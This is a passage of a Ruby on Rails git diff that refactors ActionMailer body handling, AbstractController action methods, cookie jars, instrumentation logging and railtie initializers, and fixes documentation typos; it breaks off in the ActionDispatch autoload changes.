-rw-r--r--railties/lib/generators/test_unit/performance/performance_generator.rb (renamed from railties/lib/rails/generators/test_unit/performance/performance_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/performance/templates/performance_test.rb (renamed from railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb)0
-rw-r--r--railties/lib/generators/test_unit/plugin/plugin_generator.rb (renamed from railties/lib/rails/generators/test_unit/plugin/plugin_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/plugin/templates/%file_name%_test.rb.tt (renamed from railties/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt)0
-rw-r--r--railties/lib/generators/test_unit/plugin/templates/test_helper.rb (renamed from railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb)0
-rw-r--r--railties/lib/generators/test_unit/scaffold/scaffold_generator.rb (renamed from railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb)2
-rw-r--r--railties/lib/generators/test_unit/scaffold/templates/functional_test.rb (renamed from railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb)0
-rw-r--r--railties/lib/rails.rb5
-rw-r--r--railties/lib/rails/application.rb14
-rw-r--r--railties/lib/rails/backtrace_cleaner.rb31
-rw-r--r--railties/lib/rails/bootstrap.rb11
-rw-r--r--railties/lib/rails/commands/dbconsole.rb4
-rw-r--r--railties/lib/rails/configuration.rb23
-rw-r--r--railties/lib/rails/deprecation.rb6
-rw-r--r--railties/lib/rails/generators.rb184
-rw-r--r--railties/lib/rails/generators/base.rb8
-rw-r--r--railties/lib/rails/generators/named_base.rb8
-rw-r--r--railties/lib/rails/generators/resource_helpers.rb10
-rw-r--r--railties/lib/rails/plugin.rb8
-rw-r--r--railties/lib/rails/rack.rb5
-rw-r--r--railties/lib/rails/rack/metal.rb26
-rw-r--r--railties/lib/rails/subscriber.rb2
-rw-r--r--railties/lib/rails/tasks/documentation.rake2
-rw-r--r--railties/lib/rails/tasks/framework.rake7
-rw-r--r--railties/lib/rails/vendor/thor-0.12.3/lib/thor/group.rb9
-rw-r--r--railties/test/application/middleware_test.rb2
-rw-r--r--railties/test/application/notifications_test.rb2
-rw-r--r--railties/test/backtrace_cleaner_test.rb4
-rw-r--r--railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb (renamed from railties/test/fixtures/lib/generators/active_record/fixjour/fixjour_generator.rb)2
-rw-r--r--railties/test/fixtures/lib/generators/rails/javascripts_generator.rb4
-rw-r--r--railties/test/fixtures/lib/generators/wrong_generator.rb (renamed from railties/test/fixtures/vendor/gems/gems/wrong/lib/generators/wrong_generator.rb)0
-rw-r--r--railties/test/fixtures/vendor/another_gem_path/xspec/lib/generators/xspec_generator.rb2
-rw-r--r--railties/test/fixtures/vendor/plugins/mspec/lib/rails_generators/mspec_generator.rb2
-rw-r--r--railties/test/generators/actions_test.rb18
-rw-r--r--railties/test/generators/app_generator_test.rb16
-rw-r--r--railties/test/generators/controller_generator_test.rb5
-rw-r--r--railties/test/generators/generator_generator_test.rb5
-rw-r--r--railties/test/generators/generators_test_helper.rb22
-rw-r--r--railties/test/generators/helper_generator_test.rb5
-rw-r--r--railties/test/generators/integration_test_generator_test.rb5
-rw-r--r--railties/test/generators/mailer_generator_test.rb13
-rw-r--r--railties/test/generators/metal_generator_test.rb5
-rw-r--r--railties/test/generators/migration_generator_test.rb6
-rw-r--r--railties/test/generators/model_generator_test.rb5
-rw-r--r--railties/test/generators/named_base_test.rb5
-rw-r--r--railties/test/generators/observer_generator_test.rb5
-rw-r--r--railties/test/generators/performance_test_generator_test.rb5
-rw-r--r--railties/test/generators/plugin_generator_test.rb20
-rw-r--r--railties/test/generators/resource_generator_test.rb5
-rw-r--r--railties/test/generators/scaffold_controller_generator_test.rb5
-rw-r--r--railties/test/generators/scaffold_generator_test.rb5
-rw-r--r--railties/test/generators/session_migration_generator_test.rb6
-rw-r--r--railties/test/generators/stylesheets_generator_test.rb6
-rw-r--r--railties/test/generators_test.rb137
-rw-r--r--railties/test/subscriber_test.rb6
357 files changed, 6788 insertions, 3120 deletions
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index c1cce73303..e0a99fa00c 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -23,8 +23,7 @@ module ActionMailer #:nodoc:
# bcc ["bcc@example.com", "Order Watcher <watcher@example.com>"]
# from "system@example.com"
# subject "New account information"
- #
- # @account = recipient
+ # body :account => recipient
# end
# end
#
@@ -36,7 +35,7 @@ module ActionMailer #:nodoc:
# * <tt>cc</tt> - Takes one or more email addresses. These addresses will receive a carbon copy of your email. Sets the <tt>Cc:</tt> header.
# * <tt>bcc</tt> - Takes one or more email addresses. These addresses will receive a blind carbon copy of your email. Sets the <tt>Bcc:</tt> header.
# * <tt>reply_to</tt> - Takes one or more email addresses. These addresses will be listed as the default recipients when replying to your email. Sets the <tt>Reply-To:</tt> header.
- # * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header wil be set by the delivery agent.
+ # * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header will be set by the delivery agent.
# * <tt>content_type</tt> - Specify the content type of the message. Defaults to <tt>text/plain</tt>.
# * <tt>headers</tt> - Specify additional headers to be set for the message, e.g. <tt>headers 'X-Mail-Count' => 107370</tt>.
#
@@ -144,12 +143,13 @@ module ActionMailer #:nodoc:
# subject "New account information"
# from "system@example.com"
# content_type "multipart/alternative"
+ # body :account => recipient
#
# part :content_type => "text/html",
- # :body => render_message("signup-as-html", :account => recipient)
+ # :data => render_message("signup-as-html")
#
# part "text/plain" do |p|
- # p.body = render_message("signup-as-plain", :account => recipient)
+ # p.body = render_message("signup-as-plain")
# p.content_transfer_encoding = "base64"
# end
# end
@@ -492,11 +492,13 @@ module ActionMailer #:nodoc:
# body, headers, etc.) can be set on it.
def part(params)
params = {:content_type => params} if String === params
+
if custom_headers = params.delete(:headers)
ActiveSupport::Deprecation.warn('Passing custom headers with :headers => {} is deprecated. ' <<
'Please just pass in custom headers directly.', caller[0,10])
params.merge!(custom_headers)
end
+
part = Mail::Part.new(params)
yield part if block_given?
@parts << part
@@ -514,6 +516,20 @@ module ActionMailer #:nodoc:
part(params, &block)
end
+ # Allow you to set assigns for your template:
+ #
+ # body :greetings => "Hi"
+ #
+ # Will make @greetings available in the template to be rendered.
+ def body(object=nil)
+ returning(super) do # Run deprecation hooks
+ if object.is_a?(Hash)
+ @assigns_set = true
+ object.each { |k, v| instance_variable_set(:"@#{k}", v) }
+ end
+ end
+ end
+
# Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
# will be initialized according to the named method. If not, the mailer will
# remain uninitialized (useful when you only need to invoke the "receive"
@@ -549,6 +565,23 @@ module ActionMailer #:nodoc:
private
+ # Render a message but does not set it as mail body. Useful for rendering
+ # data for part and attachments.
+ #
+ # Examples:
+ #
+ # render_message "special_message"
+ # render_message :template => "special_message"
+ # render_message :inline => "<%= 'Hi!' %>"
+ def render_message(object)
+ case object
+ when String
+ render_to_body(:template => object)
+ else
+ render_to_body(object)
+ end
+ end
+
# Set up the default values for the various instance variables of this
# mailer. Subclasses may override this method to provide different
# defaults.
diff --git a/actionmailer/lib/action_mailer/deprecated_body.rb b/actionmailer/lib/action_mailer/deprecated_body.rb
index 20b0989a85..5379b33a54 100644
--- a/actionmailer/lib/action_mailer/deprecated_body.rb
+++ b/actionmailer/lib/action_mailer/deprecated_body.rb
@@ -1,15 +1,13 @@
module ActionMailer
# TODO Remove this module all together in a next release. Ensure that super
- # hooks in ActionMailer::Base are removed as well.
+ # hooks and @assigns_set in ActionMailer::Base are removed as well.
module DeprecatedBody
- def self.included(base)
- base.class_eval do
- # Define the body of the message. This is either a Hash (in which case it
- # specifies the variables to pass to the template when it is rendered),
- # or a string, in which case it specifies the actual text of the message.
- adv_attr_accessor :body
- end
- end
+ extend ActionMailer::AdvAttrAccessor
+
+ # Define the body of the message. This is either a Hash (in which case it
+ # specifies the variables to pass to the template when it is rendered),
+ # or a string, in which case it specifies the actual text of the message.
+ adv_attr_accessor :body
def initialize_defaults(method_name)
@body ||= {}
@@ -18,32 +16,28 @@ module ActionMailer
def attachment(params, &block)
if params[:body]
ActiveSupport::Deprecation.warn('attachment :body => "string" is deprecated. To set the body of an attachment ' <<
- 'please use :data instead, like attachment :data => "string".', caller[0,10])
+ 'please use :data instead, like attachment :data => "string"', caller[0,10])
params[:data] = params.delete(:body)
end
end
def create_parts
- if String === @body
- ActiveSupport::Deprecation.warn('body is deprecated. To set the body with a text ' <<
- 'call render(:text => "body").', caller[0,10])
+ if String === @body && !defined?(@assigns_set)
+ ActiveSupport::Deprecation.warn('body(String) is deprecated. To set the body with a text ' <<
+ 'call render(:text => "body")', caller[0,10])
self.response_body = @body
- elsif @body.is_a?(Hash) && !@body.empty?
- ActiveSupport::Deprecation.warn('body is deprecated. To set assigns simply ' <<
- 'use instance variables', caller[0,10])
- @body.each { |k, v| instance_variable_set(:"@#{k}", v) }
+ elsif self.response_body
+ @body = self.response_body
end
end
def render(*args)
options = args.last.is_a?(Hash) ? args.last : {}
if options[:body]
- ActiveSupport::Deprecation.warn(':body is deprecated. To set assigns simply ' <<
- 'use instance variables', caller[0,1])
+ ActiveSupport::Deprecation.warn(':body in render deprecated. Please call body ' <<
+ 'with a hash instead', caller[0,1])
- options.delete(:body).each do |k, v|
- instance_variable_set(:"@#{k}", v)
- end
+ body options.delete(:body)
end
super
diff --git a/actionmailer/test/mail_service_test.rb b/actionmailer/test/mail_service_test.rb
index e53d8a38ef..17e7992e29 100644
--- a/actionmailer/test/mail_service_test.rb
+++ b/actionmailer/test/mail_service_test.rb
@@ -120,11 +120,11 @@ class TestMailer < ActionMailer::Base
content_type "multipart/alternative"
part "text/plain" do |p|
- p.body = "blah"
+ p.body = render_message(:text => "blah")
end
part "text/html" do |p|
- p.body = "<b>blah</b>"
+ p.body = render_message(:inline => "<%= content_tag(:b, 'blah') %>")
end
end
@@ -301,7 +301,6 @@ class TestMailer < ActionMailer::Base
render :text => "testing"
end
- # This tests body calls accepeting a hash, which is deprecated.
def body_ivar(recipient)
recipients recipient
subject "Body as a local variable"
@@ -1075,7 +1074,7 @@ EOF
def test_return_path_with_create
mail = TestMailer.create_return_path
- assert_equal "another@somewhere.test", mail.return_path
+ assert_equal ["another@somewhere.test"], mail.return_path
end
def test_return_path_with_deliver
@@ -1086,8 +1085,7 @@ EOF
end
def test_body_is_stored_as_an_ivar
- mail = nil
- ActiveSupport::Deprecation.silence { mail = TestMailer.create_body_ivar(@recipient) }
+ mail = TestMailer.create_body_ivar(@recipient)
assert_equal "body: foo\nbar: baz", mail.body.to_s
end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index 48725ad82a..3119ee498b 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -62,15 +62,19 @@ module AbstractController
# Array[String]:: A list of all methods that should be considered
# actions.
def action_methods
- @action_methods ||=
+ @action_methods ||= begin
# All public instance methods of this class, including ancestors
- public_instance_methods(true).map { |m| m.to_s }.to_set -
- # Except for public instance methods of Base and its ancestors
- internal_methods.map { |m| m.to_s } +
- # Be sure to include shadowed public instance methods of this class
- public_instance_methods(false).map { |m| m.to_s } -
- # And always exclude explicitly hidden actions
- hidden_actions
+ methods = public_instance_methods(true).map { |m| m.to_s }.to_set -
+ # Except for public instance methods of Base and its ancestors
+ internal_methods.map { |m| m.to_s } +
+ # Be sure to include shadowed public instance methods of this class
+ public_instance_methods(false).map { |m| m.to_s } -
+ # And always exclude explicitly hidden actions
+ hidden_actions
+
+ # Clear out AS callback method pollution
+ methods.reject { |method| method =~ /_one_time_conditions/ }
+ end
end
# Returns the full controller name, underscored, without the ending Controller.
@@ -116,68 +120,72 @@ module AbstractController
self.class.controller_path
end
- private
- # Returns true if the name can be considered an action. This can
- # be overridden in subclasses to modify the semantics of what
- # can be considered an action.
- #
- # ==== Parameters
- # name<String>:: The name of an action to be tested
- #
- # ==== Returns
- # TrueClass, FalseClass
- def action_method?(name)
- self.class.action_methods.include?(name)
+ def action_methods
+ self.class.action_methods
end
- # Call the action. Override this in a subclass to modify the
- # behavior around processing an action. This, and not #process,
- # is the intended way to override action dispatching.
- def process_action(method_name, *args)
- send_action(method_name, *args)
- end
+ private
+ # Returns true if the name can be considered an action. This can
+ # be overridden in subclasses to modify the semantics of what
+ # can be considered an action.
+ #
+ # ==== Parameters
+ # name<String>:: The name of an action to be tested
+ #
+ # ==== Returns
+ # TrueClass, FalseClass
+ def action_method?(name)
+ self.class.action_methods.include?(name)
+ end
- # Actually call the method associated with the action. Override
- # this method if you wish to change how action methods are called,
- # not to add additional behavior around it. For example, you would
- # override #send_action if you want to inject arguments into the
- # method.
- alias send_action send
-
- # If the action name was not found, but a method called "action_missing"
- # was found, #method_for_action will return "_handle_action_missing".
- # This method calls #action_missing with the current action name.
- def _handle_action_missing
- action_missing(@_action_name)
- end
+ # Call the action. Override this in a subclass to modify the
+ # behavior around processing an action. This, and not #process,
+ # is the intended way to override action dispatching.
+ def process_action(method_name, *args)
+ send_action(method_name, *args)
+ end
- # Takes an action name and returns the name of the method that will
- # handle the action. In normal cases, this method returns the same
- # name as it receives. By default, if #method_for_action receives
- # a name that is not an action, it will look for an #action_missing
- # method and return "_handle_action_missing" if one is found.
- #
- # Subclasses may override this method to add additional conditions
- # that should be considered an action. For instance, an HTTP controller
- # with a template matching the action name is considered to exist.
- #
- # If you override this method to handle additional cases, you may
- # also provide a method (like _handle_method_missing) to handle
- # the case.
- #
- # If none of these conditions are true, and method_for_action
- # returns nil, an ActionNotFound exception will be raised.
- #
- # ==== Parameters
- # action_name<String>:: An action name to find a method name for
- #
- # ==== Returns
- # String:: The name of the method that handles the action
- # nil:: No method name could be found. Raise ActionNotFound.
- def method_for_action(action_name)
- if action_method?(action_name) then action_name
- elsif respond_to?(:action_missing, true) then "_handle_action_missing"
+ # Actually call the method associated with the action. Override
+ # this method if you wish to change how action methods are called,
+ # not to add additional behavior around it. For example, you would
+ # override #send_action if you want to inject arguments into the
+ # method.
+ alias send_action send
+
+ # If the action name was not found, but a method called "action_missing"
+ # was found, #method_for_action will return "_handle_action_missing".
+ # This method calls #action_missing with the current action name.
+ def _handle_action_missing
+ action_missing(@_action_name)
+ end
+
+ # Takes an action name and returns the name of the method that will
+ # handle the action. In normal cases, this method returns the same
+ # name as it receives. By default, if #method_for_action receives
+ # a name that is not an action, it will look for an #action_missing
+ # method and return "_handle_action_missing" if one is found.
+ #
+ # Subclasses may override this method to add additional conditions
+ # that should be considered an action. For instance, an HTTP controller
+ # with a template matching the action name is considered to exist.
+ #
+ # If you override this method to handle additional cases, you may
+ # also provide a method (like _handle_method_missing) to handle
+ # the case.
+ #
+ # If none of these conditions are true, and method_for_action
+ # returns nil, an ActionNotFound exception will be raised.
+ #
+ # ==== Parameters
+ # action_name<String>:: An action name to find a method name for
+ #
+ # ==== Returns
+ # String:: The name of the method that handles the action
+ # nil:: No method name could be found. Raise ActionNotFound.
+ def method_for_action(action_name)
+ if action_method?(action_name) then action_name
+ elsif respond_to?(:action_missing, true) then "_handle_action_missing"
+ end
end
- end
end
end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index d57136dbb8..0dab4a3cc0 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -42,7 +42,7 @@ module AbstractController
# Delegates render_to_body and sticks the result in self.response_body.
def render(*args)
if response_body
- raise AbstractController::DoubleRenderError, "OMG"
+ raise AbstractController::DoubleRenderError, "Can only render or redirect once per action"
end
self.response_body = render_to_body(*args)
diff --git a/actionpack/lib/action_controller/deprecated/dispatcher.rb b/actionpack/lib/action_controller/deprecated/dispatcher.rb
index 3da3c8ce7d..8c21e375dd 100644
--- a/actionpack/lib/action_controller/deprecated/dispatcher.rb
+++ b/actionpack/lib/action_controller/deprecated/dispatcher.rb
@@ -1,8 +1,5 @@
module ActionController
class Dispatcher
- cattr_accessor :prepare_each_request
- self.prepare_each_request = false
-
class << self
def before_dispatch(*args, &block)
ActiveSupport::Deprecation.warn "ActionController::Dispatcher.before_dispatch is deprecated. " <<
@@ -18,7 +15,7 @@ module ActionController
def to_prepare(*args, &block)
ActiveSupport::Deprecation.warn "ActionController::Dispatcher.to_prepare is deprecated. " <<
- "Please use ActionDispatch::Callbacks.to_prepare instead.", caller
+ "Please use config.to_prepare instead", caller
ActionDispatch::Callbacks.after(*args, &block)
end
diff --git a/actionpack/lib/action_controller/metal/cookies.rb b/actionpack/lib/action_controller/metal/cookies.rb
index 5b51bd21d0..7aa687b52c 100644
--- a/actionpack/lib/action_controller/metal/cookies.rb
+++ b/actionpack/lib/action_controller/metal/cookies.rb
@@ -1,48 +1,4 @@
module ActionController #:nodoc:
- # Cookies are read and written through ActionController#cookies.
- #
- # The cookies being read are the ones received along with the request, the cookies
- # being written will be sent out with the response. Reading a cookie does not get
- # the cookie object itself back, just the value it holds.
- #
- # Examples for writing:
- #
- # # Sets a simple session cookie.
- # cookies[:user_name] = "david"
- #
- # # Sets a cookie that expires in 1 hour.
- # cookies[:login] = { :value => "XJ-122", :expires => 1.hour.from_now }
- #
- # Examples for reading:
- #
- # cookies[:user_name] # => "david"
- # cookies.size # => 2
- #
- # Example for deleting:
- #
- # cookies.delete :user_name
- #
- # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
- #
- # cookies[:key] = {
- # :value => 'a yummy cookie',
- # :expires => 1.year.from_now,
- # :domain => 'domain.com'
- # }
- #
- # cookies.delete(:key, :domain => 'domain.com')
- #
- # The option symbols for setting cookies are:
- #
- # * <tt>:value</tt> - The cookie's value or list of values (as an array).
- # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
- # of the application.
- # * <tt>:domain</tt> - The domain for which this cookie applies.
- # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
- # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
- # Default is +false+.
- # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
- # only HTTP. Defaults to +false+.
module Cookies
extend ActiveSupport::Concern
@@ -52,146 +8,10 @@ module ActionController #:nodoc:
helper_method :cookies
cattr_accessor :cookie_verifier_secret
end
-
- protected
- # Returns the cookie container, which operates as described above.
+
+ private
def cookies
- @cookies ||= CookieJar.build(request, response)
- end
- end
-
- class CookieJar < Hash #:nodoc:
- def self.build(request, response)
- new.tap do |hash|
- hash.update(request.cookies)
- hash.response = response
- end
- end
-
- attr_accessor :response
-
- # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
- def [](name)
- super(name.to_s)
- end
-
- # Sets the cookie named +name+. The second argument may be the very cookie
- # value, or a hash of options as documented above.
- def []=(key, options)
- if options.is_a?(Hash)
- options.symbolize_keys!
- value = options[:value]
- else
- value = options
- options = { :value => value }
+ request.cookie_jar
end
-
- super(key.to_s, value)
-
- options[:path] ||= "/"
- response.set_cookie(key, options)
- end
-
- # Removes the cookie on the client machine by setting the value to an empty string
- # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
- # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
- def delete(key, options = {})
- options.symbolize_keys!
- options[:path] ||= "/"
- value = super(key.to_s)
- response.delete_cookie(key, options)
- value
- end
-
- # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
- #
- # cookies.permanent[:prefers_open_id] = true
- # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
- #
- # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
- #
- # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
- #
- # cookies.permanent.signed[:remember_me] = current_user.id
- # # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
- def permanent
- @permanent ||= PermanentCookieJar.new(self)
- end
-
- # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
- # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
- # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will
- # be raised.
- #
- # This jar requires that you set a suitable secret for the verification on ActionController::Base.cookie_verifier_secret.
- #
- # Example:
- #
- # cookies.signed[:discount] = 45
- # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
- #
- # cookies.signed[:discount] # => 45
- def signed
- @signed ||= SignedCookieJar.new(self)
- end
- end
-
- class PermanentCookieJar < CookieJar #:nodoc:
- def initialize(parent_jar)
- @parent_jar = parent_jar
- end
-
- def []=(key, options)
- if options.is_a?(Hash)
- options.symbolize_keys!
- else
- options = { :value => options }
- end
-
- options[:expires] = 20.years.from_now
- @parent_jar[key] = options
- end
-
- def signed
- @signed ||= SignedCookieJar.new(self)
- end
-
- def controller
- @parent_jar.controller
- end
-
- def method_missing(method, *arguments, &block)
- @parent_jar.send(method, *arguments, &block)
- end
- end
-
- class SignedCookieJar < CookieJar #:nodoc:
- def initialize(parent_jar)
- unless ActionController::Base.cookie_verifier_secret
- raise "You must set ActionController::Base.cookie_verifier_secret to use signed cookies"
- end
-
- @parent_jar = parent_jar
- @verifier = ActiveSupport::MessageVerifier.new(ActionController::Base.cookie_verifier_secret)
- end
-
- def [](name)
- @verifier.verify(@parent_jar[name])
- end
-
- def []=(key, options)
- if options.is_a?(Hash)
- options.symbolize_keys!
- options[:value] = @verifier.generate(options[:value])
- else
- options = { :value => @verifier.generate(options) }
- end
-
- @parent_jar[key] = options
- end
-
- def method_missing(method, *arguments, &block)
- @parent_jar.send(method, *arguments, &block)
- end
end
end
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index 7222b7b2fa..876f778751 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -20,11 +20,7 @@ module ActionController
result = super
payload[:controller] = self.class.name
payload[:action] = self.action_name
- payload[:formats] = request.formats.map(&:to_s)
- payload[:remote_ip] = request.remote_ip
- payload[:method] = request.method
payload[:status] = response.status
- payload[:request_uri] = request.request_uri rescue "unknown"
append_info_to_payload(payload)
result
end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index cb0e600871..6178a59029 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -1,7 +1,7 @@
module ActionController #:nodoc:
- # Responder is responsible to expose a resource for different mime requests,
+ # Responder is responsible for exposing a resource to different mime requests,
# usually depending on the HTTP verb. The responder is triggered when
- # respond_with is called. The simplest case to study is a GET request:
+ # <code>respond_with</code> is called. The simplest case to study is a GET request:
#
# class PeopleController < ApplicationController
# respond_to :html, :xml, :json
@@ -12,17 +12,17 @@ module ActionController #:nodoc:
# end
# end
#
- # When a request comes, for example with format :xml, three steps happen:
+ # When a request comes in, for example for an XML response, three steps happen:
#
- # 1) responder searches for a template at people/index.xml;
+ # 1) the responder searches for a template at people/index.xml;
#
- # 2) if the template is not available, it will invoke :to_xml in the given resource;
+ # 2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
#
- # 3) if the responder does not respond_to :to_xml, call :to_format on it.
+ # 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
#
# === Builtin HTTP verb semantics
#
- # Rails default responder holds semantics for each HTTP verb. Depending on the
+ # The default Rails responder holds semantics for each HTTP verb. Depending on the
# content type, verb and the resource status, it will behave differently.
#
# Using Rails default responder, a POST request for creating an object could
@@ -55,7 +55,7 @@ module ActionController #:nodoc:
#
# === Nested resources
#
- # You can given nested resource as you do in form_for and polymorphic_url.
+ # You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
# Consider the project has many tasks example. The create action for
# TasksController would be like:
#
@@ -67,15 +67,15 @@ module ActionController #:nodoc:
# end
#
# Giving an array of resources, you ensure that the responder will redirect to
- # project_task_url instead of task_url.
+ # <code>project_task_url</code> instead of <code>task_url</code>.
#
- # Namespaced and singleton resources requires a symbol to be given, as in
+ # Namespaced and singleton resources require a symbol to be given, as in
# polymorphic urls. If a project has one manager which has many tasks, it
# should be invoked as:
#
# respond_with(@project, :manager, @task)
#
- # Check polymorphic_url documentation for more examples.
+ # Check <code>polymorphic_url</code> documentation for more examples.
#
class Responder
attr_reader :controller, :request, :format, :resource, :resources, :options
@@ -126,7 +126,7 @@ module ActionController #:nodoc:
navigation_behavior(e)
end
- # All others formats follow the procedure below. First we try to render a
+ # All other formats follow the procedure below. First we try to render a
# template, if the template is not available, we verify if the resource
# responds to :to_format and display it.
#
@@ -183,11 +183,11 @@ module ActionController #:nodoc:
@default_response.call
end
- # display is just a shortcut to render a resource with the current format.
+ # Display is just a shortcut to render a resource with the current format.
#
# display @user, :status => :ok
#
- # For xml request is equivalent to:
+ # For XML requests it's equivalent to:
#
# render :xml => @user, :status => :ok
#
@@ -204,14 +204,14 @@ module ActionController #:nodoc:
controller.render given_options.merge!(options).merge!(format => resource)
end
- # Check if the resource has errors or not.
+ # Check whether the resource has errors.
#
def has_errors?
resource.respond_to?(:errors) && !resource.errors.empty?
end
- # By default, render the :edit action for html requests with failure, unless
- # the verb is post.
+ # By default, render the <code>:edit</code> action for HTML requests with failure, unless
+ # the verb is POST.
#
def default_action
@action ||= ACTIONS_FOR_VERBS[request.method]
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index c193a5eff4..d62269b9af 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -10,6 +10,9 @@ module ActionController
@_response = response
@_response.request = request
ret = process(request.parameters[:action])
+ if cookies = @_request.env['action_dispatch.cookies']
+ cookies.write(@_response)
+ end
@_response.body ||= self.response_body
@_response.prepare!
set_test_assigns
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 741101a210..7ea64c1923 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -23,7 +23,6 @@ module ActionController
initializer "action_controller.initialize_routing" do |app|
app.route_configuration_files << app.config.routes_configuration_file
app.route_configuration_files << app.config.builtin_routes_configuration_file
- app.reload_routes!
end
initializer "action_controller.initialize_framework_caches" do
@@ -40,54 +39,5 @@ module ActionController
ActionController::Base.view_paths = view_path if ActionController::Base.view_paths.blank?
end
- class MetalMiddlewareBuilder
- def initialize(metals)
- @metals = metals
- end
-
- def new(app)
- ActionDispatch::Cascade.new(@metals, app)
- end
-
- def name
- ActionDispatch::Cascade.name
- end
- alias_method :to_s, :name
- end
-
- initializer "action_controller.initialize_metal" do |app|
- metal_root = "#{Rails.root}/app/metal"
- load_list = app.config.metals || Dir["#{metal_root}/**/*.rb"]
-
- metals = load_list.map { |metal|
- metal = File.basename(metal.gsub("#{metal_root}/", ''), '.rb')
- require_dependency metal
- metal.camelize.constantize
- }.compact
-
- middleware = MetalMiddlewareBuilder.new(metals)
- app.config.middleware.insert_before(:"ActionDispatch::ParamsParser", middleware)
- end
-
- # Prepare dispatcher callbacks and run 'prepare' callbacks
- initializer "action_controller.prepare_dispatcher" do |app|
- # TODO: This used to say unless defined?(Dispatcher). Find out why and fix.
- # Notice that at this point, ActionDispatch::Callbacks were already loaded.
- require 'rails/dispatcher'
- ActionController::Dispatcher.prepare_each_request = true unless app.config.cache_classes
-
- unless app.config.cache_classes
- # Setup dev mode route reloading
- routes_last_modified = app.routes_changed_at
- reload_routes = lambda do
- unless app.routes_changed_at == routes_last_modified
- routes_last_modified = app.routes_changed_at
- app.reload_routes!
- end
- end
- ActionDispatch::Callbacks.before { |callbacks| reload_routes.call }
- end
- end
-
end
end
diff --git a/actionpack/lib/action_controller/railties/subscriber.rb b/actionpack/lib/action_controller/railties/subscriber.rb
index a9f5d16c58..6659e5df47 100644
--- a/actionpack/lib/action_controller/railties/subscriber.rb
+++ b/actionpack/lib/action_controller/railties/subscriber.rb
@@ -3,18 +3,13 @@ module ActionController
class Subscriber < Rails::Subscriber
def process_action(event)
payload = event.payload
-
- info "\nProcessed #{payload[:controller]}##{payload[:action]} " \
- "to #{payload[:formats].join(', ')} (for #{payload[:remote_ip]} at #{event.time.to_s(:db)}) " \
- "[#{payload[:method].to_s.upcase}]"
-
info " Parameters: #{payload[:params].inspect}" unless payload[:params].blank?
additions = ActionController::Base.log_process_action(payload)
message = "Completed in %.0fms" % event.duration
message << " (#{additions.join(" | ")})" unless additions.blank?
- message << " | #{payload[:status]} [#{payload[:request_uri]}]\n\n"
+ message << " by #{payload[:controller]}##{payload[:action]} [#{payload[:status]}]"
info(message)
end
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 71bb67d3ff..082562d921 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -43,8 +43,10 @@ module ActionDispatch
autoload_under 'middleware' do
autoload :Callbacks
autoload :Cascade
+ autoload :Cookies
autoload :Flash
autoload :Head
+ autoload :Notifications
autoload :ParamsParser
autoload :Rescue
autoload :ShowExceptions
@@ -55,7 +57,15 @@ module ActionDispatch
autoload :Routing
module Http
- autoload :Headers, 'action_dispatch/http/headers'
+ extend ActiveSupport::Autoload
+
+ autoload :Cache
+ autoload :Headers
+ autoload :MimeNegotiation
+ autoload :Parameters
